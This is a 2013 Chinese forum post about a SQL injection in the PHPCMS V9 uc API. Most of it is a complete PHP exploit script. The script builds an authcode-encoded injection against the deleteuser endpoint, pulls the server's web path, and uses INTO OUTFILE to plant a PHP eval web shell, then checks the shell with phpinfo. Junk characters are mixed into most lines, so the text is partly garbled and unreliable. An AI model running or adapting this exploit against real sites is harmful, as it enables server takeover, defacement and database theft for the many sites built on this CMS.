找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1902|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
4 g& ]$ p3 W9 s7 F  b+ R- u3 P. v$ r9 ]+ C) D% ~  @  @
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。6 [' K1 J3 S0 T
2 I; j9 Z- b% E. b) |9 u* L* h4 `
漏洞分析:
% h! }. R; f- |4 K; m  w" s0 w1.未启用ucenter服务的情况下uc_key为空
# s  s( t2 ~% _- l, N: y8 Cdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));9 W5 ]5 Y. p! O4 L
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。# W; N2 d) a  W' U& i
    public function deleteuser($get,$post) {
3 g& p/ h# u6 I& R6 X        pc_base::load_app_func('global', 'admin');
% ?+ o. i! c! a4 Y* F8 s        pc_base::load_app_class('messagequeue', 'admin' , 0);
5 p% r5 S* G8 B) z# m' K/ w        $ids = new_stripslashes($get['ids']);$ n, j  _( a& T; d# v" v
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
8 j3 A( _4 S9 }" {: Z% nSQL语句为
; X, W4 \# w8 E2 zSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 M& B2 P& n+ Z1 z. }* |
7 V7 s/ Z/ q8 i. g  y利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
3 J2 T+ v% P) j<?php+ A8 E3 F$ w1 e: A) i
print_r('
4 s: W1 T% z2 y; }: `, ^# D---------------------------------------------------------------------------
4 b  x6 i% C8 r+ oPHPcms (v9 or Old Version) uc api sql injection 0day
6 f- J& `2 l; j! P- W3 V( Qby rayh4c#80sec.com
7 ]7 P9 n2 y5 x! e2 {; q---------------------------------------------------------------------------
& O- p5 u. a( |+ ~');/ O+ z- j$ M" `0 k  s3 j1 [
* @5 d8 N; z1 J; s/ \8 X0 B" K
if ($argc<3) {( r+ _1 g+ t7 C0 a
    print_r('4 ~/ {. k3 g, |" t+ n& n5 o( X
---------------------------------------------------------------------------3 K* o1 e: Z  U0 m3 ~8 Z# V5 L/ J/ x
Usage: php '.$argv[0].' host path OPTIONS0 I. a7 K6 B0 G' r# e
host:      target server (ip/hostname)/ z' t3 _' z% S, v8 N
path:      path to phpcms8 `$ p( J' K& }" {' h# R' @& p
Options:
' ^# m; [* Q  n3 ~7 g% L! d -p[port]:    specify a port other than 80! y, [- ~/ c" K$ [3 a1 I5 m! m
-P[ip:port]: specify a proxy
+ N) O3 E/ d2 ]Example:
8 d7 ~' X; _, V3 X3 x, Pphp '.$argv[0].' localhost /7 l9 E& \3 p& Y: H
php '.$argv[0].' localhost /phpcms/ -p81
4 ]  S  p) F/ |# q- ~php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
7 m7 u" C1 d+ J( r( Y---------------------------------------------------------------------------
! Z1 i6 G8 h/ s');
! W, Y" j: f, E3 ~+ _* h. {    die;
- A: q, u. z' k9 G. \}. [& a7 }1 |" g3 l0 x; X2 W& R
' |, ]; I+ j" n5 S0 q+ `1 t
error_reporting(7);& F) w9 C9 s6 h/ @6 _6 l
ini_set("max_execution_time",0);
2 \( c9 h8 V! E; q0 l' jini_set("default_socket_timeout",5);6 E0 u0 X' y7 c, |' J
" |1 X2 ]9 L' j
function quick_dump($string)
; B; e6 T8 @+ h; \{
7 H" z) T1 D. z5 Z$ e# @8 R  $result='';$exa='';$cont=0;. v% Y6 c) K% Z/ G2 ?
  for ($i=0; $i<=strlen($string)-1; $i++)6 L7 d" A4 K* G# t2 t' Q
  {! M6 D& F$ h( M* S3 ^3 a5 c3 u
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ C4 `) g# r  K  L   {$result.="  .";}
- X6 @( F% W  D- b7 U& W% {   else
" N% `- f" E- W  c   {$result.="  ".$string[$i];}
) T7 G) J: @5 H4 k   if (strlen(dechex(ord($string[$i])))==2)
* _5 m# v4 \* }   {$exa.=" ".dechex(ord($string[$i]));}' Y8 {* q% `! A9 e$ U0 g
   else8 @1 j' c, R2 l' ~) j7 x: R+ O6 O% p5 H
   {$exa.=" 0".dechex(ord($string[$i]));}
7 R+ }9 U0 {7 T( q( x2 p- M: A; Z   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}% v5 c( x. l% q, X! |, k: S
  }
& G& X) V3 H! {7 h3 C: E/ L) o  K return $exa."\r\n".$result;
7 e1 E. D" G% r}6 N9 q8 z0 T! d3 i( x+ N/ ^
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';1 J! l0 T0 I% F7 u5 H# ?

% P7 X  R$ D$ |4 nfunction send($packet)0 [* s% K  a1 v: h' N2 ~
{
$ l* [5 o  n1 S, K9 ]  global $proxy, $host, $port, $html, $proxy_regex;( G, `3 v1 N; }; d
  if ($proxy=='') {; @4 Y0 o. c) {% s2 d& l
    $ock=fsockopen(gethostbyname($host),$port);
4 a/ \& |8 U# V- v* l. e    if (!$ock) {* d1 t: D; B5 y& I
      echo 'No response from '.$host.':'.$port; die;' A/ u" c+ y9 V
    }
8 l3 ~; ~: m% _4 j) r! ?3 X  }% O/ [0 e6 x7 T9 A: Y8 C% n
  else {0 q# u4 }8 @2 U0 r
        $c = preg_match($proxy_regex,$proxy);
  J2 p; i. |% ~; w/ B! w/ [& }# G    if (!$c) {
$ T' T- p. s; ^      echo 'Not a valid proxy...';die;
* `# _  W' p# r    }2 I, ^( D8 B5 g) \' \, g
    $parts=explode(':',$proxy);) W7 t9 e. A. I  _7 ?- E! m
    $parts[1]=(int)$parts[1];
! W5 g5 @! y; V6 X, s0 r    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";0 }8 ~7 ]# R# c6 b2 H- s
    $ock=fsockopen($parts[0],$parts[1]);8 u1 Z/ ?- Z* v, ]5 r# U
    if (!$ock) {
) e8 a, J7 p* W4 p% I      echo 'No response from proxy...';die;
; x: ]) a( u7 o! H& W        }6 G& y0 T' H% l1 a* n% v
  }8 Q) Z! L8 M$ d) r7 t3 p2 ?& Y" L7 u; `
  fputs($ock,$packet);9 ]- X) V. d+ t& t( v: U
  if ($proxy=='') {' |- i& `: y! l6 y5 u5 n; u$ p& g
    $html='';5 I: H  S* W' ?9 N4 A4 `- }
    while (!feof($ock)) {
% @! y( P3 @# ~      $html.=fgets($ock);, q8 j/ _! E' b& t: W7 S
    }' R: u7 E" _0 e1 f6 x$ }6 |
  }
! q. H) M; K* S! Q9 h+ E, Y/ d  else {
8 q6 S' l+ `4 Z- j, i( \    $html='';
9 d# x6 a0 q) @) S% a  r    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {/ ]- J6 @$ x( }7 S9 D# N1 e1 \
      $html.=fread($ock,1);7 R5 [; O* K' L. ^4 {
    }- |. O3 y& L: O. b5 }  `
  }
- U! }5 H4 o/ R  fclose($ock);5 M( y2 g0 f' i4 ?- j0 j
}
# i3 p  s/ o$ k6 M0 Z' Y1 E" G, J1 u% n2 f# p" F$ u0 e
$host=$argv[1];5 ^; }  ]2 f0 I4 r
$path=$argv[2];
6 I$ w8 P+ q% |$port=80;8 Z0 }, n+ k; b, v, y  u4 X2 a
$proxy="";
' X* v) ]& q' T( E8 a  Ofor ($i=3; $i<$argc; $i++){
8 v$ L# e& ~5 z$temp=$argv[$i][0].$argv[$i][1];$ b: h- M4 Z# y5 X2 @1 f
if ($temp=="-p")
" R7 U! N6 \/ [3 K{
# `+ E- t: y  Y3 [, z8 C  $port=(int)str_replace("-p","",$argv[$i]);
/ ^1 e; j3 C8 B- b8 a0 z+ l}
/ q# e7 n8 t$ l' L& {) _if ($temp=="-P")
" t5 p: O- J! y& }0 ~4 h{* L# {' X5 V( N, t8 B
  $proxy=str_replace("-P","",$argv[$i]);
; f; _8 l% b2 r4 V$ p9 `}3 N$ L0 u- C3 e- c; R! I
}
  I5 @0 Z  X+ Q4 j; o' }1 h+ w5 O9 y1 S% R6 u9 @' }7 B8 }
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
, w( \8 R9 L/ B' t; E  mif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}/ }' `2 K+ b! u1 C
( H5 S+ ^+ Y3 k7 _
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! n$ o4 l1 H( R$ g: {8 F7 R0 ]! d- Z4 _" q# ]1 S+ w# }
    $ckey_length = 4;% V5 M  H" N: W- x1 D( h* j
% G& m3 k" v- F& t$ I
    $key = md5($key ? $key : '');
* s9 T" Y+ d: b+ X6 O    $keya = md5(substr($key, 0, 16));
! i4 v5 ]9 e7 j7 @    $keyb = md5(substr($key, 16, 16));  @1 [$ I+ N  C9 ?
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! v  p# U% {8 N1 ~# T
$ D4 @7 r5 |  ]3 I    $cryptkey = $keya.md5($keya.$keyc);: a# f' y, u* U
    $key_length = strlen($cryptkey);/ \9 H9 O9 z2 ?7 a5 I3 \
; @2 c& w* D7 N* T& {' l
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
* q, E. p# U# s  n9 d    $string_length = strlen($string);5 H% @8 ?- C; l: t$ _3 h0 N

  K/ u- l/ n# \+ J3 _$ x; j    $result = '';
4 b# g  p" h& h" O! X+ O% E    $box = range(0, 255);
. g1 Y- N* G) d$ i9 {; R! k/ g9 i# z* X
    $rndkey = array();
+ y% d' L! r  e/ i    for($i = 0; $i <= 255; $i++) {3 X0 _, ]& o% A8 M  U+ B: b
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);8 E9 N4 d4 A8 R% t0 w5 R8 |
    }% u: a9 u9 ^  ~
9 `9 z2 d+ k' [0 f2 X
    for($j = $i = 0; $i < 256; $i++) {
" _; U- w2 ~% K9 t  f        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
9 b( o$ \! h% [! l3 ]        $tmp = $box[$i];0 C& y& U: ~/ y
        $box[$i] = $box[$j];
' m6 C  _& u. c7 m. A" \        $box[$j] = $tmp;
* u8 ~! s0 a8 c" W- R) ~    }7 l/ S4 J# D7 N1 X/ g: z  Y4 [4 o! G
$ a' ~4 o3 X" L- R: c
    for($a = $j = $i = 0; $i < $string_length; $i++) {
& \! i) u  N8 g( y/ k0 W        $a = ($a + 1) % 256;$ t, [; n2 F# q8 L! D9 I, p
        $j = ($j + $box[$a]) % 256;8 z/ ^4 b* }' D. f% \/ ?
        $tmp = $box[$a];2 _2 [  h* e& q, b4 H
        $box[$a] = $box[$j];
$ {$ M1 k) p- V9 M' r        $box[$j] = $tmp;+ l3 E2 p- ?6 \5 p) G/ l4 S
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));) q* y* V3 z( g: D6 w) Z" W
    }
! A2 [! Y$ e% e, n5 a  r# @3 X6 z3 ^' A: g1 d6 V
    if($operation == 'DECODE') {  \7 S9 L. x, C8 g5 U  F% \/ ^
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
6 }4 d8 f: }  |7 ~2 M# @/ [- x            return substr($result, 26);
# q) V5 i2 D, N' H' ?        } else {
- o$ P  s* ?& A# f& f4 t$ m6 t            return '';: U  [" e& w$ v3 G$ @2 ^+ t  m6 x. ^
        }( C5 e* X/ X, D( F9 [
    } else {& h) G2 n, G( m; y* o5 B
        return $keyc.str_replace('=', '', base64_encode($result));! s% `/ {( m, _8 e
    }
8 b7 f) \( h  D. N. N
& W4 f. v. M' z}/ A) }3 u8 d2 o& o
7 y, n. j3 }2 y4 j) O( ~$ ~# X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
3 Z2 p4 Q2 A8 V; J0 Z+ \$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 _9 M1 o: a) B( q# \
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
4 x* F% l/ a; B0 m! v# q) o$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
0 V4 y3 K9 P, c* H, v5 g: l$packet.="User-Agent: Mozilla/5.0\r\n";
9 ?( Z4 n7 X9 @$packet.="Host: ".$host."\r\n";
1 f9 E& o# L1 n8 _( `# L0 }# T) M$packet.="Connection: Close\r\n\r\n";
+ g! v6 r2 d% [+ o8 Ssend($packet);
3 s% t( b  f. W* k# i# uif(strpos($html,"MySQL Errno") > 0){. |( z. o  E& [7 Q7 a; D
echo "[2] 发现存在SQL注入漏洞"."\n";
! r0 f( Q: L2 ^echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
1 Q" {$ \: ], b) y3 y! E$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
9 q# f" l, I5 P5 i$packet.="User-Agent: Mozilla/5.0\r\n";+ i3 ~8 Z4 u( e- k5 w
$packet.="Host: ".$host."\r\n";
; ^5 m" z9 y9 [* ]5 j$packet.="Connection: Close\r\n\r\n";" T! Z4 y6 ^* F9 b) f5 X7 S
send($packet);
) L5 C; O/ z1 x6 B+ Kpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);% @4 G+ H, p. C( K2 B
//print_r($matches);+ _/ g0 o$ b7 A/ H1 G- ~4 T6 i8 j
if(!empty($matches)){, i" b* h: Q7 ?8 D
echo "[4] 得到web路径 " . $matches[0]."\n";
$ P  z( x' b0 Q' Vecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
- X& Z# x& l' h5 J1 M$SQL = "time=999999999999999999999999&ids=1)";
8 @* F9 _* b* J$ L$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";6 Y& }4 q# R& V' W1 ~
$SQL.="&action=deleteuser";9 ]0 M* h. p$ V- W% h3 c6 t' ]
$SQL = urlencode(authcode($SQL, "ENCODE", ""));' B) \5 `3 s, z' v& n- ^/ a
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( W& `! V+ ~8 X
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";  f% ]' ~) S0 f# p. e' W# w) g
$packet.="User-Agent: Mozilla/5.0\r\n";
4 f$ C2 ?( w$ c- o" S$ H& S$packet.="Host: ".$host."\r\n";
; ]# {" x& O: I$packet.="Connection: Close\r\n\r\n";' k- V7 M+ G6 ~2 u( J; S* X
send($packet);
3 D1 F6 q4 e. K6 H* gif(strpos($html,"Access denied") > 0){$ j8 J* W! p5 m8 A5 f2 \
echo "[-] MYSQL权限过低 禁止写入文件 ";3 A8 T( [6 \) S' `3 ?& ]% R
die;/ s( u, x0 ?; N% y# _  |
}) F1 K. h# M/ Q  k$ N0 C: e
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
5 z" p0 l! l" D4 e9 z/ k$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";/ F/ [- V9 L! h( ?: J
$packet.="User-Agent: Mozilla/5.0\r\n";
+ g# z; H# @2 v+ ]% L) w6 I) H$packet.="Host: ".$host."\r\n";
+ w& p# x# z' C$ z$packet.="Connection: Close\r\n\r\n";4 ]0 k4 E# m; e  O: v9 C
send($packet);- O, `" V0 N8 ~: a* `5 W
if(strpos($html,"<title>phpinfo()</title>") > 0){2 \' |  _8 S# }
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";9 ]3 Q" b4 W! M2 E
}
+ H. I/ I$ h6 S* F. }) ]}else{( Q+ i6 _$ F5 n8 m+ ^  L) s- ~. @# {
echo "[-]未取到web路径 ";
) f- x% e/ t: u# @  \}& k2 `8 r; w7 ?. t9 `" {1 b
}else{
1 r0 X! j) j7 b! D# r0 iecho "[*]不存在SQL注入漏洞"."\n";9 b: e3 b6 r: C0 c! R+ ?2 ~
}/ n5 P1 _# L# K1 W
/ n' u: K  h# x7 \" b+ w/ k
?>7 K4 M. t3 @) B4 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表